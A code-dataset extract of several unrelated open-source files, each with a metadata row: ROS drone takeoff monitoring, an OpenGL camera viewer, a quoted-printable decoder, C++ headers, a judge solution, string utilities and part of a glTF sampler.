ROS_INFO("##### Start route %d ....", square_mission.state);
}
break;
case 4:
if(!square_mission.finished)
{
square_mission.step();
}
else
{
ROS_INFO("##### Mission %d Finished ....", square_mission.state);
square_mission.state = 0;
}
break;
}
}
}
void flight_status_callback(const std_msgs::UInt8::ConstPtr& msg)
{
flight_status = msg->data;
}
void display_mode_callback(const std_msgs::UInt8::ConstPtr& msg)
{
display_mode = msg->data;
}
/*!
* This function demos how to use the flight_status
* and the more detailed display_mode (only for A3/N3)
* to monitor the take off process with some error
* handling. Note M100 flight status is different
* from A3/N3 flight status.
*/
bool
monitoredTakeoff()
{
ros::Time start_time = ros::Time::now();
if(!takeoff_land(dji_sdk::DroneTaskControl::Request::TASK_TAKEOFF)) {
return false;
}
ros::Duration(0.01).sleep();
ros::spinOnce();
// Step 1.1: Spin the motor
while (flight_status != DJISDK::FlightStatus::STATUS_ON_GROUND &&
display_mode != DJISDK::DisplayMode::MODE_ENGINE_START &&
ros::Time::now() - start_time < ros::Duration(5)) {
ros::Duration(0.01).sleep();
ros::spinOnce();
}
if(ros::Time::now() - start_time > ros::Duration(5)) {
ROS_ERROR("Takeoff failed. Motors are not spinnning.");
return false;
}
else {
start_time = ros::Time::now();
ROS_INFO("Motor Spinning ...");
ros::spinOnce();
}
// Step 1.2: Get in to the air
while (flight_status != DJISDK::FlightStatus::STATUS_IN_AIR &&
(display_mode != DJISDK::DisplayMode::MODE_ASSISTED_TAKEOFF || display_mode != DJISDK::DisplayMode::MODE_AUTO_TAKEOFF) &&
ros::Time::now() - start_time < ros::Duration(20)) {
ros::Duration(0.01).sleep();
ros::spinOnce();
}
if(ros::Time::now() - start_time > ros::Duration(20)) {
ROS_ERROR("Takeoff failed. Aircraft is still on the ground, but the motors are spinning.");
return false;
}
else {
start_time = ros::Time::now();
ROS_INFO("Ascending...");
ros::spinOnce();
}
// Final check: Finished takeoff
while ( (display_mode == DJISDK::DisplayMode::MODE_ASSISTED_TAKEOFF || display_mode == DJISDK::DisplayMode::MODE_AUTO_TAKEOFF) &&
ros::Time::now() - start_time < ros::Duration(20)) {
ros::Duration(0.01).sleep();
ros::spinOnce();
}
if ( display_mode != DJISDK::DisplayMode::MODE_P_GPS || display_mode != DJISDK::DisplayMode::MODE_ATTITUDE)
{
ROS_INFO("Successful takeoff!");
start_time = ros::Time::now();
}
else
{
ROS_ERROR("Takeoff finished, but the aircraft is in an unexpected mode. Please connect DJI GO.");
return false;
}
return true;
}
/*!
* This function demos how to use M100 flight_status
* to monitor the take off process with some error
* handling. Note M100 flight status is different
* from A3/N3 flight status.
*/
bool
M100monitoredTakeoff()
{
ros::Time start_time = ros::Time::now();
float home_altitude = current_gps.altitude;
if(!takeoff_land(dji_sdk::DroneTaskControl::Request::TASK_TAKEOFF))
{
return false;
}
ros::Duration(0.01).sleep();
ros::spinOnce();
// Step 1: If M100 is not in the air after 10 seconds, fail.
while (ros::Time::now() - start_time < ros::Duration(10))
{
ros::Duration(0.01).sleep();
ros::spinOnce();
}
if(flight_status != DJISDK::M100FlightStatus::M100_STATUS_IN_AIR ||
current_gps.altitude - home_altitude < 1.0)
{
ROS_ERROR("Takeoff failed.");
return false;
}
else
{
start_time = ros::Time::now();
ROS_INFO("Successful takeoff!");
ros::spinOnce();
}
return true;
}
bool set_local_position()
{
dji_sdk::SetLocalPosRef localPosReferenceSetter;
set_local_pos_reference.call(localPosReferenceSetter);
return localPosReferenceSetter.response.result;
}
|
00be0b96c1cf48f9ccb5732f36d2b64e4d7c21b1 | b4419ff9c947ea175aac8cbcc17a0996ed167fdd | /openGL3/Main.cpp | 60326c397a5ebd1aea19c7eacc84174b61a7e7dc | [] | no_license | RaphLJ/MyRepTest | 6178e821480ef4e3aa0ae40f37ff99ed5cbcefa3 | d5c9893b516542822d748ef6274b31c41b4af62a | refs/heads/master | 2021-01-10T16:12:05.639482 | 2016-03-18T10:34:32 | 2016-03-18T10:34:32 | 54,013,393 | 0 | 0 | null | null | null | null | ISO-8859-1 | C++ | false | false | 7,100 | cpp | Main.cpp | #include <GL/glew.h>
#include <GL/glut.h>
#include <iostream>
#include <vector>
#include <string>
#include <math.h>
#include "point.h"
#include "fichiers.h"
#include "structure.h"
#include "cameraGL.h"
#include <iostream>
#define PI 3.1415926535
using namespace std;
vector<point> vPoints;
bool autoriserAnim = false;
GLfloat xRotated, yRotated, zRotated;
double camX = 5.0, camY = 4.0, camZ = 3.0, cibleX = 0.0, cibleY = 0.0, cibleZ = 0.0;
double vitesseZoom = 0.1;
double vitesseRotation = 0.01;
double vitesseTranslation = 0.5;
int mouseButton;
int oldX, newX, oldY, newY;
bool rotaetAxixX = false;
double rotateAngle = 0.0;
double depth;
//variables sphère - déplacement
double sphX = 0, sphY = 0, sphZ = 0;
double time = 0, oldTime = 0;
bool go = false;//on enclenche le déplacement
bool pause = false;
void processSpecialKeys(int key, int x, int y);
void processNormalKeys(unsigned char key, int x, int y);//peut-être à changer. https://www.opengl.org/discussion_boards/showthread.php/183072-Cube-using-OpenGL-and-rotating-it-using-mouse-events
void mouseEvent(int button, int state, int x, int y);
void mouseMotion(int x, int y);
void checkState(int state, int x, int y);
void Draw();
void Reshape(int x, int y);
void animation();
int numeroPoint;
int main(int argc, char *argv[])
{
cout << "start..." << endl;
cout << camX << " " << camY << " " << camZ << " " << cibleX << " " << cibleY << " " << cibleZ << endl;
loadData(vPoints, "08154728.txt");
/*for (double i = 0.0; i < 50.0; i += 0.01)
{
vPoints.push_back(point(i, 0, 5.0 * cos(i)));
}*/
//démarrage OpenGL
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_DEPTH);
glutInitWindowSize(640, 480);
int WindowName = glutCreateWindow("Wally 01");
//glutFullScreen(); //Optionnel
glutSpecialFunc(processSpecialKeys);
glutKeyboardFunc(processNormalKeys);
glutMouseFunc(mouseEvent);
glutMotionFunc(mouseMotion);
glutReshapeFunc(Reshape);
glutDisplayFunc(Draw);
glutIdleFunc(animation);
//liste points du circuit
cout << "Affiche main : " << vPoints[0].getAx();
/*cout << "Entrer le numéro du point dont vous souhaitez obtenir les informations: ";
cin >> numeroPoint;*/
glutMainLoop();
return 0;
}
void processNormalKeys(unsigned char key, int x, int y)
{
double dx, dy;
if (key == 27)
{
exit(0);
}
else if (key == 90 || key == 122)//z haut
{
camZ += vitesseTranslation;
cibleZ += vitesseTranslation;
}
else if (key == 83 || key == 115)//s bas
{
camZ -= vitesseTranslation;
cibleZ -= vitesseTranslation;
}
else if (key == 81 || key == 113)//q gauche
{
dx = vitesseTranslation * cos(atan((cibleY - camY) / (cibleX - camX)) + PI / 2);
dy = vitesseTranslation * sin(atan((cibleY - camY) / (cibleX - camX)) + PI / 2);
cout << dx << " " << dy << endl;
camX -= dx;
cibleX -= dx;
camY -= dy;
cibleY -= dy;
}
else if (key == 68 || key == 100)//d droite
{
dx = vitesseTranslation * cos(atan((cibleY - camY) / (cibleX - camX)) + PI / 2);
dy = vitesseTranslation * sin(atan((cibleY - camY) / (cibleX - camX)) + PI / 2);
camX += dx;
cibleX += dx;
camY += dy;
cibleY += dy;
}
else if (key == 79 || key == 111)//o afficher sphère
{
if (go)
{
go = false;
}
else
{
go = true;
sphX = vPoints.at(0).getX();
sphY = vPoints.at(0).getY();
sphZ = vPoints.at(0).getZ();
}
}
else if (key == 80 || key == 112)//p pause
{
if (pause)
pause = false;
else
pause = true;
}
cout << camX << " " << camY << " " << camZ << " " << cibleX << " " << cibleY << " " << cibleZ << endl;
}
void processSpecialKeys(int key, int x, int y)
{
switch (key)
{
case GLUT_KEY_UP:
{
std::cout << "zoom in" << endl;
autoriserAnim = true;
if (1)
{
camX -= vitesseZoom*(camX - cibleX);
camY -= vitesseZoom*(camY - cibleY);
camZ -= vitesseZoom*(camZ - cibleZ);
}
break;
}
case GLUT_KEY_DOWN:
{
std::cout << "zoom out" << endl;
autoriserAnim = true;
camX += vitesseZoom*(camX - cibleX);
camY += vitesseZoom*(camY - cibleY);
camZ += vitesseZoom*(camZ - cibleZ);
break;
}
}
cout << camX << " " << camY << " " << camZ << " " << cibleX << " " << cibleY << " " << cibleZ << endl;
}
void checkState(int state, int x, int y)
{
switch (state) {
case GLUT_UP:
//cout<<" UP"<<endl;
break;
case GLUT_DOWN:
//cout<<" DOWN"<<endl;
break;
};
}
void mouseEvent(int button, int state, int x, int y)
{
mouseButton = button;
switch (button) {
case GLUT_LEFT_BUTTON:
if (state == GLUT_DOWN)
{
oldX = x;
oldY = y;
}
checkState(state, x, y);
autoriserAnim = true;
break;
case GLUT_RIGHT_BUTTON:
//cout<<"RIGHT";
checkState(state, x, y);
autoriserAnim = true;
break;
case GLUT_MIDDLE_BUTTON:
//cout<<"MIDDLE";
checkState(state, x, y);
autoriserAnim = true;
break;
case 3: //zoom in !!!! Attention ça pourrait changer
camX -= vitesseZoom*(camX - cibleX);
camY -= vitesseZoom*(camY - cibleY);
camZ -= vitesseZoom*(camZ - cibleZ);
checkState(state, x, y);
autoriserAnim = true;
break;
case 4: //zoom out !!! Attention ça pourrait changer
camX += vitesseZoom*(camX - cibleX);
camY += vitesseZoom*(camY - cibleY);
camZ += vitesseZoom*(camZ - cibleZ);
checkState(state, x, y);
autoriserAnim = true;
break;
}
}
void mouseMotion(int x, int y)
{
if (mouseButton == GLUT_LEFT_BUTTON)
{
//rajouter fonctions rotation autour d'un point
}
autoriserAnim = true;
}
void Draw()
{
glMatrixMode(GL_MODELVIEW);
glClear(GL_COLOR_BUFFER_BIT);
glLoadIdentity();
//translation selon z (temporaire)
glTranslatef(0.0, 0.0, 0.0);
//rotation selon les trois axes
glRotatef(xRotated, 1.0, 0.0, 0.0);
glRotatef(yRotated, 0.0, 1.0, 0.0);
glRotatef(zRotated, 0.0, 0.0, 1.0);
/*if (rotaetAxixX == true)
glRotatef(rotateAngle, 1.0, 0.0, 0.0);
else
glRotatef(rotateAngle, 0.0, 1.0, 0.0);*/
glMatrixMode(GL_MODELVIEW);
//(pos. cam), (pos. cible), (vect. vert.)
gluLookAt(camX, camY, camZ, cibleX, cibleY, cibleZ, 0, 0, 1);
//affichage repère 3D
glBegin(GL_LINES);
glColor3d(255, 0, 0);
glVertex3i(0, 0, 0); glVertex3i(0, 1, 0);
glColor3d(0, 255, 0);
glVertex3i(0, 0, 0); glVertex3i(1, 0, 0);
glColor3d(0, 0, 255);
glVertex3i(0, 0, 0); glVertex3i(0, 0, 1);
glColor3d(255, 255, 255);
glEnd();
//affichage grille XY
repereXY(20);
afficherParcours(vPoints);
//sphère
if (go)
{
double tailleSphere = 1;
glTranslatef(sphX, sphY, sphZ);
glColor3d(255, 0, 0);
glutSolidSphere(tailleSphere, tailleSphere * 20, tailleSphere * 20);
glTranslatef(-sphX, -sphY, -sphZ);
}
glutSwapBuffers();
}
void Reshape(int x, int y)
{
//Peut prendre 3 paramètres ==> GL_PROJECTION,GL_TEXTURE,GL_MODELVIEW ou même GL_COLOR
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
//angle de vue: 70,
gluPerspective(70.0, (GLdouble)x / (GLdouble)y, 1, 1000);
glMatrixMode(GL_MODELVIEW);
glViewport(0, 0, x, y); //Use the whole window for rendering
}
void animation()
{
if (autoriserAnim == true)
{
autoriserAnim = false;
}
Draw();
}
void motion(vector<point> vPoints, double t, point point)
{
}
|
afb45d445c21b1a8fa61fc8b9685967220eeef1b | b9795fea0bdd51f1b0656d97dfcab0210375ca06 | /SMTP_MIME/quoted.cpp | add8f12a16d4247ad228b8277c1ef4e9e9fed7bb | [] | no_license | lyj789/SMTP | 7e6c2a6d2c965062771ea2ce7fefa4674a577c8c | 549657e23ecc30dd92be7909e3b1f392bb7b8aa9 | refs/heads/master | 2020-05-07T21:29:46.601133 | 2019-04-12T01:41:58 | 2019-04-12T01:41:58 | 180,906,823 | 4 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 731 | cpp | quoted.cpp | #include "quoted.h"
QByteArray quoted::quoted_printable_decode(QByteArray inStr)
{
QByteArray dst;
QByteArray INSTR;
for(int i=0;i<inStr.size();i++)
{
if(inStr[i]=='=')
{
if(inStr.mid(i+1,2)=="\r\n")
{
//qDebug()<<"忽略";
}
if(inStr.mid(i+1,1)=="\n")
{
i-=1;
}
else
{
dst=inStr.mid(i+1,2);
if(dst.length()==2)
{ INSTR+=char(dst.toInt(nullptr,16));}
}
i+=2;
}
else
{
INSTR+=inStr[i];
}
}
return INSTR;
}
|
c884ce3a1116aaefcb7b1cf17762e87ed912f85d | 6f082dba3e8fcf78ec15829fdbb06a6ef723b9e3 | /puolue.h | e0141d2b2d02927d259999204fe4d2f020981c1b | [] | no_license | sanniovaska/vaalit | 4f135bdadb14bc1ab2e15df7d6d356eac50c872d | c702c9c43a61426ed55483c0f8a91c2c8b7e5bf0 | refs/heads/master | 2020-03-10T18:05:36.587921 | 2018-04-14T12:58:28 | 2018-04-14T12:58:28 | 129,516,932 | 0 | 0 | null | null | null | null | WINDOWS-1252 | C++ | false | false | 649 | h | puolue.h | #include <string>
#include <iostream>
#ifndef OTECPP_HT_PUOLUE_H
#define OTECPP_HT_PUOLUE_H
namespace otecpp_ht_puolue {
class Puolue {
std::string nimi;
int lkm; // valittujen ehdokkaiden määrä, negatiivinen jos tulosta ei vielä laskettu
public:
std::string getNimi() const { return nimi; }
void setNimi(std::string n) { nimi = n; }
int getLkm() const { return lkm; }
void setLkm(int l) { lkm = l; }
Puolue(std::string n) : nimi(n), lkm(-1) {
}
friend std::ostream & operator<<(std::ostream &out, const Puolue &p);
};
}
#endif
|
e3cd0ee3e776e30e813b8beb77c648a0f0da42e7 | 4e38faaa2dc1d03375010fd90ad1d24322ed60a7 | /include/RED4ext/Scripting/Natives/Generated/anim/AnimNode_ForegroundSegmentBegin.hpp | 2e1799a43c90c5e93de35dface00eced6725656f | [
"MIT"
] | permissive | WopsS/RED4ext.SDK | 0a1caef8a4f957417ce8fb2fdbd821d24b3b9255 | 3a41c61f6d6f050545ab62681fb72f1efd276536 | refs/heads/master | 2023-08-31T08:21:07.310498 | 2023-08-18T20:51:18 | 2023-08-18T20:51:18 | 324,193,986 | 68 | 25 | MIT | 2023-08-18T20:51:20 | 2020-12-24T16:17:20 | C++ | UTF-8 | C++ | false | false | 704 | hpp | AnimNode_ForegroundSegmentBegin.hpp | #pragma once
// clang-format off
// This file is generated from the Game's Reflection data
#include <cstdint>
#include <RED4ext/Common.hpp>
#include <RED4ext/Scripting/Natives/Generated/anim/AnimNode_OnePoseInput.hpp>
namespace RED4ext
{
namespace anim
{
struct AnimNode_ForegroundSegmentBegin : anim::AnimNode_OnePoseInput
{
static constexpr const char* NAME = "animAnimNode_ForegroundSegmentBegin";
static constexpr const char* ALIAS = NAME;
uint8_t unk60[0x68 - 0x60]; // 60
};
RED4EXT_ASSERT_SIZE(AnimNode_ForegroundSegmentBegin, 0x68);
} // namespace anim
using animAnimNode_ForegroundSegmentBegin = anim::AnimNode_ForegroundSegmentBegin;
} // namespace RED4ext
// clang-format on
|
9e22dea933e423dbf48f0bb85400c35aa7918493 | 8ca3cfd6bcb697b15ee0182695acda31c906312e | /SkimaServer/SkimaServer/LavaDamageSkill.h | bceda9b67f0e6ea254e45170eeba256cef3a1df5 | [
"MIT"
] | permissive | dlakwwkd/CommitAgain | ef9777c56e1fa9c75690850b33a00c1321a19efd | 3fdad38f7951b1a58ae244bd5d68f5a92e97f633 | refs/heads/master | 2021-01-01T18:08:02.607776 | 2015-10-19T20:56:16 | 2015-10-19T20:56:16 | 25,237,311 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 417 | h | LavaDamageSkill.h | #pragma once
#include "FieldType.h"
class Timer;
class LavaDamageSkill : public FieldType
{
public:
LavaDamageSkill(Player* owner);
virtual ~LavaDamageSkill();
virtual void SkillCast(SkillKey key, const b2Vec2& heroPos, const b2Vec2& targetPos){}
virtual void CastStop(){}
void LavaDamage(b2Vec2 createPos, float scale, int damage, int repeatDelay);
private:
Timer* m_Timer = nullptr;
};
|
8ab28dd8b93f66316c513574debf746a55c05939 | ad47bc852e986b442e7040bb18bb7d6c13bf8d96 | /UVA/920UVA.cpp | 472c380ba716bb603c83e2cfd1552f8e0389e150 | [] | no_license | iurisevero/Exercicios-PPC | bb94288ce33d72e7b69d00dc0d916cbf649f214f | a3d021ee87fe42dc5d8456d69c2c86867a9d4708 | refs/heads/master | 2023-07-23T13:43:20.718442 | 2023-07-12T23:31:50 | 2023-07-12T23:31:50 | 189,654,966 | 0 | 0 | null | 2019-10-02T21:07:28 | 2019-05-31T20:32:10 | C++ | UTF-8 | C++ | false | false | 1,036 | cpp | 920UVA.cpp | #include <bits/stdc++.h>
#define debug(x) cerr << #x << ": " << x << endl;
#define debug_pair(x) cerr << #x << ": " << x.first << " " << x.second << endl;
#define PI 3.14159265
using namespace std;
using ii = pair<int, int>;
using vi = vector<int>;
int main(){
int C;
cin >> C;
while(C--){
int N;
cin >> N;
priority_queue<ii> pontos_ordenados;
for(int i=0; i<N; ++i){
ii ponto;
cin >> ponto.first >> ponto.second;
pontos_ordenados.push(ponto);
}
double metros = 0;
ii ponto_anterior = pontos_ordenados.top();
pontos_ordenados.pop();
int ponto_mais_alto = 0;
while(!pontos_ordenados.empty()){
auto p = pontos_ordenados.top();
pontos_ordenados.pop();
//debug_pair(p);
//debug_pair(ponto_anterior);
if(p.second > ponto_mais_alto){
double teta = atan(abs(p.second - ponto_anterior.second)*1.0/abs(p.first-ponto_anterior.first));
metros += abs(p.second - ponto_mais_alto)/sin(teta);
ponto_mais_alto = p.second;
}
ponto_anterior = p;
}
printf("%.2lf\n", metros);
}
}
|
e4568c419cd85fe04d4e20e0474b2cf4cd85f451 | 5f4abea3ed2dc752c6a245b24a8d4b06b0ce3c5e | /src/build/SimulationScene.hpp | 2a9b960de2b906dba5c3eb912f51a946688fc887 | [] | no_license | HerrCraziDev/projet-qt | 6edf6472ab69b8a73b809c2fc251f2165b39aa8e | 0134a129e93cd84e13d4664cc88b4041befae141 | refs/heads/master | 2020-03-16T15:49:32.049046 | 2018-05-30T10:41:26 | 2018-05-30T10:41:26 | 132,760,276 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,020 | hpp | SimulationScene.hpp | #ifndef SIMULATION_SCENE
#define SIMULATION_SCENE
#include <iostream>
#include <vector>
#include <map>
#include <QGraphicsScene>
#include <QGraphicsPixmapItem>
#include <QGraphicsRectItem>
#include <QtGui/QPixmap>
#include "SimulationController.hpp"
#include "settings.hpp"
class SimulationScene : public QGraphicsScene
{
Q_OBJECT
public:
SimulationScene(SimulationController &cntr, QObject *parent = nullptr);
~SimulationScene();
QGraphicsPixmapItem *getPlaceholder();
void launch(int ww, int wh, int tickLength, int nbAnimals, float predPrct, uint seed=42);
public slots:
void pause();
void resume();
void update();
void stop();
private:
std::vector<QGraphicsPixmapItem *> entitySprites;
std::vector<QGraphicsPixmapItem *> mapTiles;
std::map<EType, QPixmap> textures;
QPixmap grass;
QGraphicsPixmapItem *bk_placeholder;
QGraphicsRectItem *worldBackground;
SimulationController &controller;
Simulation *sim;
};
#endif // SIMULATION_SCENE
|
65d2972b08cac878038c60efe31e01e0e77120f6 | a57c55bbdd2ec560cdaa6d40a608b18676041411 | /C And Inspiration/12.C And Windows/8.C And Frame/CAndFrame.cpp | 381b18debdacdeb691d2e4d920359f4364816124 | [] | no_license | cristian357r4/Code-And-Inspiration | 77b8a058b39ec59d0e062378c8db2039141d6141 | e8df8e82ff04bb1d7bccd8ca3542868ab45adc88 | refs/heads/master | 2022-06-04T14:34:20.740679 | 2018-05-29T15:01:23 | 2018-05-29T15:01:23 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,491 | cpp | CAndFrame.cpp | #include"frame.h"
int Frame()
{
newFrame();
addLabel("label1",20,20,1100,160);
addButton("button1",50,50,100,50);
addButton("button2",250,50,100,50);
addCheckbox("checkbox1",450,50,100,50);
addTextArea("textArea1",650,50,100,100);
addList("list1",850,50,100,100);
addItem("list1","item1");
addItem("list1","item2");
addItem("list1","item3");
addLabel("label2",1120,20,160,160);
addTimer("timer1",1000);
addTimer("timer2",100);
addMenu("menu1");
addMenuItem("menu1","menuItem1");
addMenuItem("menu1","menuItem2");
addMenuItem("menu1","menuItem3");
addMenu("menu2");
addMenuItem("menu2","menuItem4");
addMenuItem("menu2","menuItem5");
addMenuItem("menu2","menuItem6");
showFrame("frame1",10,30,500,400);
return 0;
}
void onClose(){}
int x=0,y=0;
int dx=0,dy=0;
boolean b=false;
int functionLength=1000;
double* function;
int centerX=0;
double zoomX=1.0;
double f(double x)
{
return abs(x*sin(x/10));
}
void getFunction()
{
function=newDouble(functionLength);
for(int i=0;i<functionLength;i++)
{
function[i]=f(400.0*i/functionLength);
}
}
void onCreate()
{
getFunction();
}
void paintFunction(int x,int y,int w,int h)
{
setColor(0,0,0);
drawRect(x,y,w,h);
setColor(255,0,0);
double dx=(w+0.0)/functionLength;
for(int i=0;i<functionLength-1;i++)
{
int x0=x+centerX+(int)((i*dx-centerX)*zoomX);
int x1=x+centerX+(int)(((i+1)*dx-centerX)*zoomX);
double y0=(int)(y+h-function[i]);
double y1=(int)(y+h-function[i+1]);
if(x0>x&&x1<x+w)drawLine(x0,y0,x1,y1);
}
}
String expression="";
void keyTyped()
{
char c=getKeyChar();
expression=append(expression,c);
if(c=='\n')
{
setText("button2",expression);
expression="";
}
setText("label2",expression);
}
void mousePressed()
{
b=true;
x=getX();
y=getY();
}
void mouseMoved()
{
if(!b)return;
dx+=getX()-x;
dy+=getY()-y;
x=getX();
y=getY();
zoomX=1-0.005*dy;
centerX=-dx;
repaint();
}
void mouseReleased()
{
b=false;
}
void paint()
{
paintFunction(50,250,1200,400);
}
int counter1=0;
int counter2=0;
void actionPerformed()
{
String s=getSource();
if(equals(s,"button1"))
{
showMessageBox("info","Button1=%d", 100);
getFunction();
repaint();
}
else if(equals(s,"button2"))
{
boolean state=getState("checkbox1");
showMessageBox("info","Button2=%d and \n State of checkbox1 is %s", 200,state==true?"true":"false");
setState("checkbox1",state==true?false:true);
}
else if(equals(s,"menuItem1"))
{
showMessageBox("menu1","menuItem1 and start timer1");
start("timer1");
}
else if(equals(s,"menuItem2"))
{
showMessageBox("menu1","menuItem2 and stop timer1");
stop("timer1");
}
else if(equals(s,"menuItem3"))
{
showMessageBox("menu1","menuItem3");
}
else if(equals(s,"menuItem4"))
{
showMessageBox("menu2","menuItem4 and start timer2");
start("timer2");
}
else if(equals(s,"menuItem5"))
{
showMessageBox("menu2","menuItem5 and stop timer2");
stop("timer2");
}
else if(equals(s,"menuItem6"))
{
showMessageBox("menu2","menuItem6");
}
else if(equals(s,"timer1"))
{
setText("label2","%d : %d",counter1++,counter2);
if(counter1>=10)counter1=0;
}
else if(equals(s,"timer2"))
{
setText("label2","%d : %d",counter1,counter2++);
if(counter2>=10)counter2=0;
}
}
void textValueChanged()
{
String s=getSource();
if(equals(s,"textArea1"))
{
setText("button1","%d",parseInt(getText("textArea1")));
}
}
void itemStateChanged()
{
String s=getSource();
if(equals(s,"list1"))
{
setText("textArea1",getSelectedItem("list1"));
}
} |
513aac10554e9d34d915a0daddbc0f134ffd535b | 3fa24fa183d6a12d0cf6fa2af4d94e37e0044b72 | /src/string_processing.cpp | 8fe6f9550c4cb4be27fcdb8b7122273190c7eefa | [
"BSD-2-Clause"
] | permissive | mayhl/GFDCLS | 7958b006d060a96a7d03a3da6ff2956f335cf9ac | 521d058012f1d500718e45304c2a6754cfc3de2a | refs/heads/master | 2020-03-22T11:46:14.161943 | 2018-08-23T21:36:49 | 2018-08-23T21:36:49 | 139,994,904 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,932 | cpp | string_processing.cpp | //////////////////////////////////////////////////////////////////////////////////////
// //
// BSD 2 - Clause License //
// //
// Copyright(c) 2018, Michael-Angelo Yick-Hang Lam //
// All rights reserved. //
// //
// Redistribution and use in source and binary forms, with or without //
// modification, are permitted provided that the following conditions are met : //
// //
// * Redistributions of source code must retain the above copyright notice, this //
// list of conditions and the following disclaimer. //
// //
// * Redistributions in binary form must reproduce the above copyright notice, //
// this list of conditions and the following disclaimer in the documentation //
// and / or other materials provided with the distribution. //
// //
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" //
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE //
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE //
// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE //
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL //
// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR //
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER //
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, //
// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE //
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. //
// //
// The development of this software was supported by the National //
// Science Foundation (NSF) Grant Number DMS-1211713. //
// //
// This file is part of GPU Finite Difference Conservation Law Solver (GFDCLS). //
// //
//////////////////////////////////////////////////////////////////////////////////////
#include <iostream>
#include "include/string_processing.h"
namespace StringProcessing
{
void centerMultiLineString(std::string &str)
{
centerMultiLineString(str, 0);
}
void centerMultiLineString(std::string &str, const size_t extra_padding)
{
const std::string newline = "\n";
// Testing if string is one line
size_t start_pos = str.find(newline);
if (start_pos == std::string::npos)
{
std::string padding = std::string(extra_padding, ' ');
str = padding + str + padding;
return;
}
// If string is not one line, find max line length
start_pos = 0;
size_t old_pos = 0;
size_t max_length = findMaxLineLength(str) + 2*extra_padding;
int counter = 0;
while ((start_pos = str.find(newline, start_pos)) )//&& start_pos != std::string::npos)
{
size_t length;
// Special case for last line
if (start_pos == std::string::npos)
length = str.length() - old_pos;
else
length = start_pos - old_pos;
// Computing padding lengths
size_t total_pad = max_length - length;
size_t left_pad_size;
size_t right_pad_size;
if (total_pad % 2 == 0)
{
right_pad_size = total_pad / 2;
left_pad_size = right_pad_size;
}
else
{
right_pad_size = total_pad / 2;
left_pad_size = right_pad_size+1;
}
std::string left_padding = std::string(left_pad_size, ' ');
std::string right_padding = std::string(right_pad_size, ' ');
// Inserting Padding
str.insert(old_pos + length, right_padding);
str.insert(old_pos, left_padding);
if (start_pos == std::string::npos) break;
start_pos += total_pad+1;
old_pos = start_pos;
}
}
size_t findMaxLineLength(const std::string &str)
{
const std::string newline = "\n";
// Testing if string is one line
size_t start_pos = str.find(newline);
if (start_pos == std::string::npos) return str.length();
// If string is not one line, find max line length
start_pos = 0;
size_t old_pos = 0;
size_t max_length = 0;
while ((start_pos = str.find(newline, start_pos)) != std::string::npos)
{
size_t length;
// Special case for last line
if (start_pos == std::string::npos)
length = str.length() - old_pos;
else
length = start_pos - old_pos + 1;
if (length > max_length) max_length = length;
start_pos += newline.length();
old_pos = start_pos;
}
return max_length;
}
void indentLines(std::string &str)
{
// Changeable indent length to control the width of output text
const std::string indent = " ";
const std::string newline = "\n";
const std::string newline_indent = newline + indent;
// Indent first line
str.insert(0, indent);
size_t start_pos = 0;
// Indent after new line characters
while ((start_pos = str.find(newline, start_pos)) != std::string::npos)
{
// Do not indent after last new line character.
if ( start_pos == str.length() - 1 ) break;
str.replace(start_pos, newline.length(), newline_indent );
start_pos += newline_indent.length();
}
}
void addTitleBanner(std::string &title)
{
// Making title upper case
// Note: Added static_cast to remove compiler warning
for (char & c : title) c = static_cast<char>( toupper(c) );
const size_t spacing_size = 8;
centerMultiLineString(title, spacing_size);
addSubtitleBanner(title);
title = "\n" + title + "\n";
}
void addSubtitleBanner(std::string &title)
{
size_t title_length = findMaxLineLength(title);
std::string banner = std::string(title_length, '-');
banner += "\n";
title = banner + title + "\n" + banner;
}
void cudaErrorToString(cudaError error, std::string &message)
{
message = "Type : " + std::string(cudaGetErrorName(error)) + "\n";
message += "Message: " + std::string(cudaGetErrorString(error)) + "\n";
}
std::string valueToString(double value)
{
const int buffer_size = 50;
char buffer[buffer_size];
snprintf(buffer, buffer_size, "%.15e", value );
std::string str = buffer;
return str;
}
}; |
81e939e269a47a27e064f3938ec341e463d044c5 | ac2c7ce45a28c8ceb10d543944db90f6025e8a58 | /src/gltf/sampler.cpp | e22dcf35b9b9f2823d7c4953192893f4818f5ab3 | [
"MIT",
"BSD-3-Clause",
"Zlib",
"BSL-1.0"
] | permissive | degarashi/revenant | a5997ccc9090690abd03a19e749606c9cdf935d4 | 9e671320a5c8790f6bdd1b14934f81c37819f7b3 | refs/heads/master | 2021-01-11T00:15:06.876412 | 2019-09-08T13:00:26 | 2019-09-08T13:00:26 | 70,564,404 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,571 | cpp | sampler.cpp | #include "sampler.hpp"
#include "value_loader.hpp"
#include "check.hpp"
namespace rev::gltf {
namespace {
struct Filter {
GLenum type;
int iLinear;
MipState mip;
bool operator == (const GLenum t) const noexcept {
return type == t;
}
};
const Filter c_mag[] = {
{GL_NEAREST, 0, MipState::NoMipmap},
{GL_LINEAR, 1, MipState::NoMipmap},
};
const Filter c_min[] = {
{GL_NEAREST, 0, MipState::NoMipmap},
{GL_LINEAR, 0, MipState::NoMipmap},
{GL_NEAREST_MIPMAP_NEAREST, 0, MipState::MipmapNear},
